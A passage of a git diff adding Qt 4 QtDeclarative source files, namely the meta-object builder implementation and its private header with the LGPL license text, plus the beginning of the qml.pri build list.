+ //### What do we do here
+#else
+ for (index = 0; index < relatedMetaObjectCount; ++index) {
+ if (stream.status() != QDataStream::Ok)
+ return;
+ stream >> name;
+ cl = resolveClassName(references, name);
+ if (!cl) {
+ stream.setStatus(QDataStream::ReadCorruptData);
+ return;
+ }
+ addRelatedMetaObject(cl);
+ }
+#endif
+
+ // Read the extra data block, which is reserved for future use.
+ stream >> name;
+}
+
+#endif // !QT_NO_DATASTREAM
+
+/*!
+ \class QMetaMethodBuilder
+ \internal
+ \brief The QMetaMethodBuilder class enables modifications to a method definition on a meta object builder.
+*/
+
+QMetaMethodBuilderPrivate *QMetaMethodBuilder::d_func() const
+{
+ // Positive indices indicate methods, negative indices indicate constructors.
+ if (_mobj && _index >= 0 && _index < _mobj->d->methods.size())
+ return &(_mobj->d->methods[_index]);
+ else if (_mobj && -_index >= 1 && -_index <= _mobj->d->constructors.size())
+ return &(_mobj->d->constructors[(-_index) - 1]);
+ else
+ return 0;
+}
+
+/*!
+ \fn QMetaMethodBuilder::QMetaMethodBuilder()
+ \internal
+*/
+
+/*!
+ Returns the index of this method within its QMetaObjectBuilder.
+*/
+int QMetaMethodBuilder::index() const
+{
+ if (_index >= 0)
+ return _index; // Method, signal, or slot
+ else
+ return (-_index) - 1; // Constructor
+}
+
+/*!
+ Returns the type of this method (signal, slot, method, or constructor).
+*/
+QMetaMethod::MethodType QMetaMethodBuilder::methodType() const
+{
+ QMetaMethodBuilderPrivate *d = d_func();
+ if (d)
+ return d->methodType();
+ else
+ return QMetaMethod::Method;
+}
+
+/*!
+ Returns the signature of this method.
+
+ \sa parameterNames(), returnType()
+*/
+QByteArray QMetaMethodBuilder::signature() const
+{
+ QMetaMethodBuilderPrivate *d = d_func();
+ if (d)
+ return d->signature;
+ else
+ return QByteArray();
+}
+
+/*!
+ Returns the return type for this method; empty if the method's
+ return type is \c{void}.
+
+ \sa setReturnType(), signature()
+*/
+QByteArray QMetaMethodBuilder::returnType() const
+{
+ QMetaMethodBuilderPrivate *d = d_func();
+ if (d)
+ return d->returnType;
+ else
+ return QByteArray();
+}
+
+/*!
+ Sets the return type for this method to \a value. If \a value
+ is empty, then the method's return type is \c{void}. The \a value
+ will be normalized before it is added to the method.
+
+ \sa returnType(), signature()
+*/
+void QMetaMethodBuilder::setReturnType(const QByteArray& value)
+{
+ QMetaMethodBuilderPrivate *d = d_func();
+ if (d)
+ d->returnType = QMetaObject::normalizedType(value);
+}
+
+/*!
+ Returns the list of parameter names for this method.
+
+ \sa setParameterNames()
+*/
+QList<QByteArray> QMetaMethodBuilder::parameterNames() const
+{
+ QMetaMethodBuilderPrivate *d = d_func();
+ if (d)
+ return d->parameterNames;
+ else
+ return QList<QByteArray>();
+}
+
+/*!
+ Sets the list of parameter names for this method to \a value.
+
+ \sa parameterNames()
+*/
+void QMetaMethodBuilder::setParameterNames(const QList<QByteArray>& value)
+{
+ QMetaMethodBuilderPrivate *d = d_func();
+ if (d)
+ d->parameterNames = value;
+}
+
+/*!
+ Returns the tag associated with this method.
+
+ \sa setTag()
+*/
+QByteArray QMetaMethodBuilder::tag() const
+{
+ QMetaMethodBuilderPrivate *d = d_func();
+ if (d)
+ return d->tag;
+ else
+ return QByteArray();
+}
+
+/*!
+ Sets the tag associated with this method to \a value.
+
+ \sa setTag()
+*/
+void QMetaMethodBuilder::setTag(const QByteArray& value)
+{
+ QMetaMethodBuilderPrivate *d = d_func();
+ if (d)
+ d->tag = value;
+}
+
+/*!
+ Returns the access specification of this method (private, protected,
+ or public). The default value is QMetaMethod::Public for methods,
+ slots, and constructors. The default value is QMetaMethod::Protected
+ for signals.
+
+ \sa setAccess()
+*/
+QMetaMethod::Access QMetaMethodBuilder::access() const
+{
+ QMetaMethodBuilderPrivate *d = d_func();
+ if (d)
+ return d->access();
+ else
+ return QMetaMethod::Public;
+}
+
+/*!
+ Sets the access specification of this method (private, protected,
+ or public) to \a value. If the method is a signal, this function
+ will be ignored.
+
+ \sa access()
+*/
+void QMetaMethodBuilder::setAccess(QMetaMethod::Access value)
+{
+ QMetaMethodBuilderPrivate *d = d_func();
+ if (d && d->methodType() != QMetaMethod::Signal)
+ d->setAccess(value);
+}
+
+/*!
+ Returns the additional attributes for this method.
+
+ \sa setAttributes()
+*/
+int QMetaMethodBuilder::attributes() const
+{
+ QMetaMethodBuilderPrivate *d = d_func();
+ if (d)
+ return (d->attributes >> 4);
+ else
+ return 0;
+}
+
+/*!
+ Sets the additional attributes for this method to \a value.
+
+ \sa attributes()
+*/
+void QMetaMethodBuilder::setAttributes(int value)
+{
+ QMetaMethodBuilderPrivate *d = d_func();
+ if (d)
+ d->attributes = ((d->attributes & 0x0f) | (value << 4));
+}
+
+/*!
+ \class QMetaPropertyBuilder
+ \internal
+ \brief The QMetaPropertyBuilder class enables modifications to a property definition on a meta object builder.
+*/
+
+QMetaPropertyBuilderPrivate *QMetaPropertyBuilder::d_func() const
+{
+ if (_mobj && _index >= 0 && _index < _mobj->d->properties.size())
+ return &(_mobj->d->properties[_index]);
+ else
+ return 0;
+}
+
+/*!
+ \fn QMetaPropertyBuilder::QMetaPropertyBuilder()
+ \internal
+*/
+
+/*!
+ \fn int QMetaPropertyBuilder::index() const
+
+ Returns the index of this property within its QMetaObjectBuilder.
+*/
+
+/*!
+ Returns the name associated with this property.
+
+ \sa type()
+*/
+QByteArray QMetaPropertyBuilder::name() const
+{
+ QMetaPropertyBuilderPrivate *d = d_func();
+ if (d)
+ return d->name;
+ else
+ return QByteArray();
+}
+
+/*!
+ Returns the type associated with this property.
+
+ \sa name()
+*/
+QByteArray QMetaPropertyBuilder::type() const
+{
+ QMetaPropertyBuilderPrivate *d = d_func();
+ if (d)
+ return d->type;
+ else
+ return QByteArray();
+}
+
+/*!
+ Returns true if this property has a notify signal; false otherwise.
+
+ \sa notifySignal(), setNotifySignal(), removeNotifySignal()
+*/
+bool QMetaPropertyBuilder::hasNotifySignal() const
+{
+ QMetaPropertyBuilderPrivate *d = d_func();
+ if (d)
+ return d->flag(Notify);
+ else
+ return false;
+}
+
+/*!
+ Returns the notify signal associated with this property.
+
+ \sa hasNotifySignal(), setNotifySignal(), removeNotifySignal()
+*/
+QMetaMethodBuilder QMetaPropertyBuilder::notifySignal() const
+{
+ QMetaPropertyBuilderPrivate *d = d_func();
+ if (d && d->notifySignal >= 0)
+ return QMetaMethodBuilder(_mobj, d->notifySignal);
+ else
+ return QMetaMethodBuilder();
+}
+
+/*!
+ Sets the notify signal associated with this property to \a value.
+
+ \sa hasNotifySignal(), notifySignal(), removeNotifySignal()
+*/
+void QMetaPropertyBuilder::setNotifySignal(const QMetaMethodBuilder& value)
+{
+ QMetaPropertyBuilderPrivate *d = d_func();
+ if (d) {
+ if (value._mobj) {
+ d->notifySignal = value._index;
+ d->setFlag(Notify, true);
+ } else {
+ d->notifySignal = -1;
+ d->setFlag(Notify, false);
+ }
+ }
+}
+
+/*!
+ Removes the notify signal from this property.
+
+ \sa hasNotifySignal(), notifySignal(), setNotifySignal()
+*/
+void QMetaPropertyBuilder::removeNotifySignal()
+{
+ QMetaPropertyBuilderPrivate *d = d_func();
+ if (d) {
+ d->notifySignal = -1;
+ d->setFlag(Notify, false);
+ }
+}
+
+/*!
+ Returns true if this property is readable; otherwise returns false.
+ The default value is true.
+
+ \sa setReadable(), isWritable()
+*/
+bool QMetaPropertyBuilder::isReadable() const
+{
+ QMetaPropertyBuilderPrivate *d = d_func();
+ if (d)
+ return d->flag(Readable);
+ else
+ return false;
+}
+
+/*!
+ Returns true if this property is writable; otherwise returns false.
+ The default value is true.
+
+ \sa setWritable(), isReadable()
+*/
+bool QMetaPropertyBuilder::isWritable() const
+{
+ QMetaPropertyBuilderPrivate *d = d_func();
+ if (d)
+ return d->flag(Writable);
+ else
+ return false;
+}
+
+/*!
+ Returns true if this property can be reset to a default value; otherwise
+ returns false. The default value is false.
+
+ \sa setResettable()
+*/
+bool QMetaPropertyBuilder::isResettable() const
+{
+ QMetaPropertyBuilderPrivate *d = d_func();
+ if (d)
+ return d->flag(Resettable);
+ else
+ return false;
+}
+
+/*!
+ Returns true if this property is designable; otherwise returns false.
+ This default value is false.
+
+ \sa setDesignable(), isScriptable(), isStored()
+*/
+bool QMetaPropertyBuilder::isDesignable() const
+{
+ QMetaPropertyBuilderPrivate *d = d_func();
+ if (d)
+ return d->flag(Designable);
+ else
+ return false;
+}
+
+/*!
+ Returns true if the property is scriptable; otherwise returns false.
+ This default value is true.
+
+ \sa setScriptable(), isDesignable(), isStored()
+*/
+bool QMetaPropertyBuilder::isScriptable() const
+{
+ QMetaPropertyBuilderPrivate *d = d_func();
+ if (d)
+ return d->flag(Scriptable);
+ else
+ return false;
+}
+
+/*!
+ Returns true if the property is stored; otherwise returns false.
+ This default value is false.
+
+ \sa setStored(), isDesignable(), isScriptable()
+*/
+bool QMetaPropertyBuilder::isStored() const
+{
+ QMetaPropertyBuilderPrivate *d = d_func();
+ if (d)
+ return d->flag(Stored);
+ else
+ return false;
+}
+
+/*!
+ Returns true if the property is editable; otherwise returns false.
+ This default value is false.
+
+ \sa setEditable(), isDesignable(), isScriptable(), isStored()
+*/
+bool QMetaPropertyBuilder::isEditable() const
+{
+ QMetaPropertyBuilderPrivate *d = d_func();
+ if (d)
+ return d->flag(Editable);
+ else
+ return false;
+}
+
+/*!
+ Returns true if this property is designated as the \c USER
+ property, i.e., the one that the user can edit or that is
+ significant in some other way. Otherwise it returns
+ false. This default value is false.
+
+ \sa setUser(), isDesignable(), isScriptable()
+*/
+bool QMetaPropertyBuilder::isUser() const
+{
+ QMetaPropertyBuilderPrivate *d = d_func();
+ if (d)
+ return d->flag(User);
+ else
+ return false;
+}
+
+/*!
+ Returns true if the property has a C++ setter function that
+ follows Qt's standard "name" / "setName" pattern. Designer and uic
+ query hasStdCppSet() in order to avoid expensive
+ QObject::setProperty() calls. All properties in Qt [should] follow
+ this pattern. The default value is false.
+
+ \sa setStdCppSet()
+*/
+bool QMetaPropertyBuilder::hasStdCppSet() const
+{
+ QMetaPropertyBuilderPrivate *d = d_func();
+ if (d)
+ return d->flag(StdCppSet);
+ else
+ return false;
+}
+
+/*!
+ Returns true if the property is an enumerator or flag type;
+ otherwise returns false. This default value is false.
+
+ \sa setEnumOrFlag()
+*/
+bool QMetaPropertyBuilder::isEnumOrFlag() const
+{
+ QMetaPropertyBuilderPrivate *d = d_func();
+ if (d)
+ return d->flag(EnumOrFlag);
+ else
+ return false;
+}
+
+/*!
+ Returns true if the property is constant; otherwise returns false.
+ The default value is false.
+*/
+bool QMetaPropertyBuilder::isConstant() const
+{
+ QMetaPropertyBuilderPrivate *d = d_func();
+ if (d)
+ return d->flag(Constant);
+ else
+ return false;
+}
+
+/*!
+ Returns true if the property is final; otherwise returns false.
+ The default value is false.
+*/
+bool QMetaPropertyBuilder::isFinal() const
+{
+ QMetaPropertyBuilderPrivate *d = d_func();
+ if (d)
+ return d->flag(Final);
+ else
+ return false;
+}
+
+/*!
+ Sets this property to readable if \a value is true.
+
+ \sa isReadable(), setWritable()
+*/
+void QMetaPropertyBuilder::setReadable(bool value)
+{
+ QMetaPropertyBuilderPrivate *d = d_func();
+ if (d)
+ d->setFlag(Readable, value);
+}
+
+/*!
+ Sets this property to writable if \a value is true.
+
+ \sa isWritable(), setReadable()
+*/
+void QMetaPropertyBuilder::setWritable(bool value)
+{
+ QMetaPropertyBuilderPrivate *d = d_func();
+ if (d)
+ d->setFlag(Writable, value);
+}
+
+/*!
+ Sets this property to resettable if \a value is true.
+
+ \sa isResettable()
+*/
+void QMetaPropertyBuilder::setResettable(bool value)
+{
+ QMetaPropertyBuilderPrivate *d = d_func();
+ if (d)
+ d->setFlag(Resettable, value);
+}
+
+/*!
+ Sets this property to designable if \a value is true.
+
+ \sa isDesignable(), setScriptable(), setStored()
+*/
+void QMetaPropertyBuilder::setDesignable(bool value)
+{
+ QMetaPropertyBuilderPrivate *d = d_func();
+ if (d)
+ d->setFlag(Designable, value);
+}
+
+/*!
+ Sets this property to scriptable if \a value is true.
+
+ \sa isScriptable(), setDesignable(), setStored()
+*/
+void QMetaPropertyBuilder::setScriptable(bool value)
+{
+ QMetaPropertyBuilderPrivate *d = d_func();
+ if (d)
+ d->setFlag(Scriptable, value);
+}
+
+/*!
+ Sets this property to storable if \a value is true.
+
+ \sa isStored(), setDesignable(), setScriptable()
+*/
+void QMetaPropertyBuilder::setStored(bool value)
+{
+ QMetaPropertyBuilderPrivate *d = d_func();
+ if (d)
+ d->setFlag(Stored, value);
+}
+
+/*!
+ Sets this property to editable if \a value is true.
+
+ \sa isEditable(), setDesignable(), setScriptable(), setStored()
+*/
+void QMetaPropertyBuilder::setEditable(bool value)
+{
+ QMetaPropertyBuilderPrivate *d = d_func();
+ if (d)
+ d->setFlag(Editable, value);
+}
+
+/*!
+ Sets the \c USER flag on this property to \a value.
+
+ \sa isUser(), setDesignable(), setScriptable()
+*/
+void QMetaPropertyBuilder::setUser(bool value)
+{
+ QMetaPropertyBuilderPrivate *d = d_func();
+ if (d)
+ d->setFlag(User, value);
+}
+
+/*!
+ Sets the C++ setter flag on this property to \a value, which is
+ true if the property has a C++ setter function that follows Qt's
+ standard "name" / "setName" pattern.
+
+ \sa hasStdCppSet()
+*/
+void QMetaPropertyBuilder::setStdCppSet(bool value)
+{
+ QMetaPropertyBuilderPrivate *d = d_func();
+ if (d)
+ d->setFlag(StdCppSet, value);
+}
+
+/*!
+ Sets this property to be of an enumerator or flag type if
+ \a value is true.
+
+ \sa isEnumOrFlag()
+*/
+void QMetaPropertyBuilder::setEnumOrFlag(bool value)
+{
+ QMetaPropertyBuilderPrivate *d = d_func();
+ if (d)
+ d->setFlag(EnumOrFlag, value);
+}
+
+/*!
+ Sets the \c CONSTANT flag on this property to \a value.
+
+ \sa isConstant()
+*/
+void QMetaPropertyBuilder::setConstant(bool value)
+{
+ QMetaPropertyBuilderPrivate *d = d_func();
+ if (d)
+ d->setFlag(Constant, value);
+}
+
+/*!
+ Sets the \c FINAL flag on this property to \a value.
+
+ \sa isFinal()
+*/
+void QMetaPropertyBuilder::setFinal(bool value)
+{
+ QMetaPropertyBuilderPrivate *d = d_func();
+ if (d)
+ d->setFlag(Final, value);
+}
+
+
+/*!
+ \class QMetaEnumBuilder
+ \internal
+ \brief The QMetaEnumBuilder class enables modifications to an enumerator definition on a meta object builder.
+*/
+
+QMetaEnumBuilderPrivate *QMetaEnumBuilder::d_func() const
+{
+ if (_mobj && _index >= 0 && _index < _mobj->d->enumerators.size())
+ return &(_mobj->d->enumerators[_index]);
+ else
+ return 0;
+}
+
+/*!
+ \fn QMetaEnumBuilder::QMetaEnumBuilder()
+ \internal
+*/
+
+/*!
+ \fn int QMetaEnumBuilder::index() const
+
+ Returns the index of this enumerator within its QMetaObjectBuilder.
+*/
+
+/*!
+ Returns the name of the enumerator (without the scope).
+*/
+QByteArray QMetaEnumBuilder::name() const
+{
+ QMetaEnumBuilderPrivate *d = d_func();
+ if (d)
+ return d->name;
+ else
+ return QByteArray();
+}
+
+/*!
+ Returns true if this enumerator is used as a flag; otherwise returns
+ false.
+
+ \sa setIsFlag()
+*/
+bool QMetaEnumBuilder::isFlag() const
+{
+ QMetaEnumBuilderPrivate *d = d_func();
+ if (d)
+ return d->isFlag;
+ else
+ return false;
+}
+
+/*!
+ Sets this enumerator to be used as a flag if \a value is true.
+
+ \sa isFlag()
+*/
+void QMetaEnumBuilder::setIsFlag(bool value)
+{
+ QMetaEnumBuilderPrivate *d = d_func();
+ if (d)
+ d->isFlag = value;
+}
+
+/*!
+ Returns the number of keys.
+
+ \sa key(), addKey()
+*/
+int QMetaEnumBuilder::keyCount() const
+{
+ QMetaEnumBuilderPrivate *d = d_func();
+ if (d)
+ return d->keys.size();
+ else
+ return 0;
+}
+
+/*!
+ Returns the key with the given \a index, or an empty QByteArray
+ if no such key exists.
+
+ \sa keyCount(), addKey(), value()
+*/
+QByteArray QMetaEnumBuilder::key(int index) const
+{
+ QMetaEnumBuilderPrivate *d = d_func();
+ if (d && index >= 0 && index < d->keys.size())
+ return d->keys[index];
+ else
+ return QByteArray();
+}
+
+/*!
+ Returns the value with the given \a index; or returns -1 if there
+ is no such value.
+
+ \sa keyCount(), addKey(), key()
+*/
+int QMetaEnumBuilder::value(int index) const
+{
+ QMetaEnumBuilderPrivate *d = d_func();
+ if (d && index >= 0 && index < d->keys.size())
+ return d->values[index];
+ else
+ return -1;
+}
+
+/*!
+ Adds a new key called \a name to this enumerator, associated
+ with \a value. Returns the index of the new key.
+
+ \sa keyCount(), key(), value(), removeKey()
+*/
+int QMetaEnumBuilder::addKey(const QByteArray& name, int value)
+{
+ QMetaEnumBuilderPrivate *d = d_func();
+ if (d) {
+ int index = d->keys.size();
+ d->keys += name;
+ d->values += value;
+ return index;
+ } else {
+ return -1;
+ }
+}
+
+/*!
+ Removes the key at \a index from this enumerator.
+
+ \sa addKey()
+*/
+void QMetaEnumBuilder::removeKey(int index)
+{
+ QMetaEnumBuilderPrivate *d = d_func();
+ if (d && index >= 0 && index < d->keys.size()) {
+ d->keys.removeAt(index);
+ d->values.removeAt(index);
+ }
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qmetaobjectbuilder_p.h b/src/declarative/qml/qmetaobjectbuilder_p.h
new file mode 100644
index 00000000..612d00fa
--- /dev/null
+++ b/src/declarative/qml/qmetaobjectbuilder_p.h
@@ -0,0 +1,325 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QMETAOBJECTBUILDER_H
+#define QMETAOBJECTBUILDER_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists for the convenience
+// of moc. This header file may change from version to version without notice,
+// or even be removed.
+//
+// We mean it.
+//
+
+#include <QtCore/qobject.h>
+#include <QtCore/qmetaobject.h>
+#include <QtCore/qdatastream.h>
+#include <QtCore/qmap.h>
+
+#include <private/qdeclarativeglobal_p.h>
+
+QT_BEGIN_NAMESPACE
+
+class QMetaObjectBuilderPrivate;
+class QMetaMethodBuilder;
+class QMetaMethodBuilderPrivate;
+class QMetaPropertyBuilder;
+class QMetaPropertyBuilderPrivate;
+class QMetaEnumBuilder;
+class QMetaEnumBuilderPrivate;
+
+class Q_DECLARATIVE_PRIVATE_EXPORT QMetaObjectBuilder
+{
+public:
+ enum AddMember
+ {
+ ClassName = 0x00000001,
+ SuperClass = 0x00000002,
+ Methods = 0x00000004,
+ Signals = 0x00000008,
+ Slots = 0x00000010,
+ Constructors = 0x00000020,
+ Properties = 0x00000040,
+ Enumerators = 0x00000080,
+ ClassInfos = 0x00000100,
+ RelatedMetaObjects = 0x00000200,
+ StaticMetacall = 0x00000400,
+ PublicMethods = 0x00000800,
+ ProtectedMethods = 0x00001000,
+ PrivateMethods = 0x00002000,
+ AllMembers = 0x7FFFFFFF,
+ AllPrimaryMembers = 0x7FFFFBFC
+ };
+ Q_DECLARE_FLAGS(AddMembers, AddMember)
+
+ enum MetaObjectFlag {
+ DynamicMetaObject = 0x01
+ };
+ Q_DECLARE_FLAGS(MetaObjectFlags, MetaObjectFlag)
+
+ QMetaObjectBuilder();
+ explicit QMetaObjectBuilder(const QMetaObject *prototype, QMetaObjectBuilder::AddMembers members = AllMembers);
+ virtual ~QMetaObjectBuilder();
+
+ QByteArray className() const;
+ void setClassName(const QByteArray& name);
+
+ const QMetaObject *superClass() const;
+ void setSuperClass(const QMetaObject *meta);
+
+ MetaObjectFlags flags() const;
+ void setFlags(MetaObjectFlags);
+
+ int methodCount() const;
+ int constructorCount() const;
+ int propertyCount() const;
+ int enumeratorCount() const;
+ int classInfoCount() const;
+ int relatedMetaObjectCount() const;
+
+ QMetaMethodBuilder addMethod(const QByteArray& signature);
+ QMetaMethodBuilder addMethod(const QByteArray& signature, const QByteArray& returnType);
+ QMetaMethodBuilder addMethod(const QMetaMethod& prototype);
+
+ QMetaMethodBuilder addSlot(const QByteArray& signature);
+ QMetaMethodBuilder addSignal(const QByteArray& signature);
+
+ QMetaMethodBuilder addConstructor(const QByteArray& signature);
+ QMetaMethodBuilder addConstructor(const QMetaMethod& prototype);
+
+ QMetaPropertyBuilder addProperty(const QByteArray& name, const QByteArray& type, int notifierId=-1);
+ QMetaPropertyBuilder addProperty(const QMetaProperty& prototype);
+
+ QMetaEnumBuilder addEnumerator(const QByteArray& name);
+ QMetaEnumBuilder addEnumerator(const QMetaEnum& prototype);
+
+ int addClassInfo(const QByteArray& name, const QByteArray& value);
+
+#ifdef Q_NO_DATA_RELOCATION
+ int addRelatedMetaObject(const QMetaObjectAccessor &meta);
+#else
+ int addRelatedMetaObject(const QMetaObject *meta);
+#endif
+
+ void addMetaObject(const QMetaObject *prototype, QMetaObjectBuilder::AddMembers members = AllMembers);
+
+ QMetaMethodBuilder method(int index) const;
+ QMetaMethodBuilder constructor(int index) const;
+ QMetaPropertyBuilder property(int index) const;
+ QMetaEnumBuilder enumerator(int index) const;
+ const QMetaObject *relatedMetaObject(int index) const;
+
+ QByteArray classInfoName(int index) const;
+ QByteArray classInfoValue(int index) const;
+
+ void removeMethod(int index);
+ void removeConstructor(int index);
+ void removeProperty(int index);
+ void removeEnumerator(int index);
+ void removeClassInfo(int index);
+ void removeRelatedMetaObject(int index);
+
+ int indexOfMethod(const QByteArray& signature);
+ int indexOfSignal(const QByteArray& signature);
+ int indexOfSlot(const QByteArray& signature);
+ int indexOfConstructor(const QByteArray& signature);
+ int indexOfProperty(const QByteArray& name);
+ int indexOfEnumerator(const QByteArray& name);
+ int indexOfClassInfo(const QByteArray& name);
+
+ typedef QMetaObjectExtraData::StaticMetacallFunction StaticMetacallFunction;
+
+ QMetaObjectBuilder::StaticMetacallFunction staticMetacallFunction() const;
+ void setStaticMetacallFunction(QMetaObjectBuilder::StaticMetacallFunction value);
+
+ QMetaObject *toMetaObject() const;
+ QByteArray toRelocatableData(bool * = 0) const;
+ static void fromRelocatableData(QMetaObject *, const QMetaObject *, const QByteArray &);
+
+#ifndef QT_NO_DATASTREAM
+ void serialize(QDataStream& stream) const;
+ void deserialize
+ (QDataStream& stream,
+ const QMap<QByteArray, const QMetaObject *>& references);
+#endif
+
+private:
+ Q_DISABLE_COPY(QMetaObjectBuilder)
+
+ QMetaObjectBuilderPrivate *d;
+
+ friend class QMetaMethodBuilder;
+ friend class QMetaPropertyBuilder;
+ friend class QMetaEnumBuilder;
+};
+
+class Q_DECLARATIVE_PRIVATE_EXPORT QMetaMethodBuilder
+{
+public:
+ QMetaMethodBuilder() : _mobj(0), _index(0) {}
+
+ int index() const;
+
+ QMetaMethod::MethodType methodType() const;
+ QByteArray signature() const;
+
+ QByteArray returnType() const;
+ void setReturnType(const QByteArray& value);
+
+ QList<QByteArray> parameterNames() const;
+ void setParameterNames(const QList<QByteArray>& value);
+
+ QByteArray tag() const;
+ void setTag(const QByteArray& value);
+
+ QMetaMethod::Access access() const;
+ void setAccess(QMetaMethod::Access value);
+
+ int attributes() const;
+ void setAttributes(int value);
+
+private:
+ const QMetaObjectBuilder *_mobj;
+ int _index;
+
+ friend class QMetaObjectBuilder;
+ friend class QMetaPropertyBuilder;
+
+ QMetaMethodBuilder(const QMetaObjectBuilder *mobj, int index)
+ : _mobj(mobj), _index(index) {}
+
+ QMetaMethodBuilderPrivate *d_func() const;
+};
+
+class Q_DECLARATIVE_PRIVATE_EXPORT QMetaPropertyBuilder
+{
+public:
+ QMetaPropertyBuilder() : _mobj(0), _index(0) {}
+
+ int index() const { return _index; }
+
+ QByteArray name() const;
+ QByteArray type() const;
+
+ bool hasNotifySignal() const;
+ QMetaMethodBuilder notifySignal() const;
+ void setNotifySignal(const QMetaMethodBuilder& value);
+ void removeNotifySignal();
+
+ bool isReadable() const;
+ bool isWritable() const;
+ bool isResettable() const;
+ bool isDesignable() const;
+ bool isScriptable() const;
+ bool isStored() const;
+ bool isEditable() const;
+ bool isUser() const;
+ bool hasStdCppSet() const;
+ bool isEnumOrFlag() const;
+ bool isConstant() const;
+ bool isFinal() const;
+
+ void setReadable(bool value);
+ void setWritable(bool value);
+ void setResettable(bool value);
+ void setDesignable(bool value);
+ void setScriptable(bool value);
+ void setStored(bool value);
+ void setEditable(bool value);
+ void setUser(bool value);
+ void setStdCppSet(bool value);
+ void setEnumOrFlag(bool value);
+ void setConstant(bool value);
+ void setFinal(bool value);
+
+private:
+ const QMetaObjectBuilder *_mobj;
+ int _index;
+
+ friend class QMetaObjectBuilder;
+
+ QMetaPropertyBuilder(const QMetaObjectBuilder *mobj, int index)
+ : _mobj(mobj), _index(index) {}
+
+ QMetaPropertyBuilderPrivate *d_func() const;
+};
+
+class Q_DECLARATIVE_PRIVATE_EXPORT QMetaEnumBuilder
+{
+public:
+ QMetaEnumBuilder() : _mobj(0), _index(0) {}
+
+ int index() const { return _index; }
+
+ QByteArray name() const;
+
+ bool isFlag() const;
+ void setIsFlag(bool value);
+
+ int keyCount() const;
+ QByteArray key(int index) const;
+ int value(int index) const;
+
+ int addKey(const QByteArray& name, int value);
+ void removeKey(int index);
+
+private:
+ const QMetaObjectBuilder *_mobj;
+ int _index;
+
+ friend class QMetaObjectBuilder;
+
+ QMetaEnumBuilder(const QMetaObjectBuilder *mobj, int index)
+ : _mobj(mobj), _index(index) {}
+
+ QMetaEnumBuilderPrivate *d_func() const;
+};
+
+Q_DECLARE_OPERATORS_FOR_FLAGS(QMetaObjectBuilder::AddMembers)
+Q_DECLARE_OPERATORS_FOR_FLAGS(QMetaObjectBuilder::MetaObjectFlags)
+
+QT_END_NAMESPACE
+
+#endif
diff --git a/src/declarative/qml/qml.pri b/src/declarative/qml/qml.pri
new file mode 100644
index 00000000..5d171bfe
--- /dev/null
+++ b/src/declarative/qml/qml.pri
@@ -0,0 +1,139 @@
+INCLUDEPATH += $$PWD
+SOURCES += \
+ $$PWD/qdeclarativeparser.cpp \
+ $$PWD/qdeclarativeinstruction.cpp \
+ $$PWD/qdeclarativevmemetaobject.cpp \
+ $$PWD/qdeclarativeengine.cpp \
+ $$PWD/qdeclarativeexpression.cpp \
+ $$PWD/qdeclarativebinding.cpp \
+ $$PWD/qdeclarativeproperty.cpp \
+ $$PWD/qdeclarativecomponent.cpp \
+ $$PWD/qdeclarativecontext.cpp \
+ $$PWD/qdeclarativeinclude.cpp \
+ $$PWD/qdeclarativecustomparser.cpp \
+ $$PWD/qdeclarativepropertyvaluesource.cpp \
+ $$PWD/qdeclarativepropertyvalueinterceptor.cpp \
+ $$PWD/qdeclarativeproxymetaobject.cpp \
+ $$PWD/qdeclarativevme.cpp \
+ $$PWD/qdeclarativecompiler.cpp \
+ $$PWD/qdeclarativecompileddata.cpp \
+ $$PWD/qdeclarativeboundsignal.cpp \
+ $$PWD/qdeclarativedom.cpp \
+ $$PWD/qdeclarativerefcount.cpp \
+ $$PWD/qdeclarativemetatype.cpp \
+ $$PWD/qdeclarativestringconverters.cpp \
+ $$PWD/qdeclarativeparserstatus.cpp \
+ $$PWD/qdeclarativetypeloader.cpp \
+ $$PWD/qdeclarativeinfo.cpp \
+ $$PWD/qdeclarativeerror.cpp \
+ $$PWD/qdeclarativescriptparser.cpp \
+ $$PWD/qdeclarativerewrite.cpp \
+ $$PWD/qdeclarativevaluetype.cpp \
+ $$PWD/qdeclarativecompiledbindings.cpp \
+ $$PWD/qdeclarativefastproperties.cpp \
+ $$PWD/qdeclarativexmlhttprequest.cpp \
+ $$PWD/qdeclarativesqldatabase.cpp \
+ $$PWD/qmetaobjectbuilder.cpp \
+ $$PWD/qdeclarativewatcher.cpp \
+ $$PWD/qdeclarativecleanup.cpp \
+ $$PWD/qdeclarativepropertycache.cpp \
+ $$PWD/qdeclarativenotifier.cpp \
+ $$PWD/qdeclarativeintegercache.cpp \
+ $$PWD/qdeclarativetypenotavailable.cpp \
+ $$PWD/qdeclarativetypenamecache.cpp \
+ $$PWD/qdeclarativescriptstring.cpp \
+ $$PWD/qdeclarativeobjectscriptclass.cpp \
+ $$PWD/qdeclarativecontextscriptclass.cpp \
+ $$PWD/qdeclarativeglobalscriptclass.cpp \
+ $$PWD/qdeclarativevaluetypescriptclass.cpp \
+ $$PWD/qdeclarativetypenamescriptclass.cpp \
+ $$PWD/qdeclarativelistscriptclass.cpp \
+ $$PWD/qdeclarativeworkerscript.cpp \
+ $$PWD/qdeclarativeimageprovider.cpp \
+ $$PWD/qdeclarativenetworkaccessmanagerfactory.cpp \
+ $$PWD/qdeclarativedirparser.cpp \
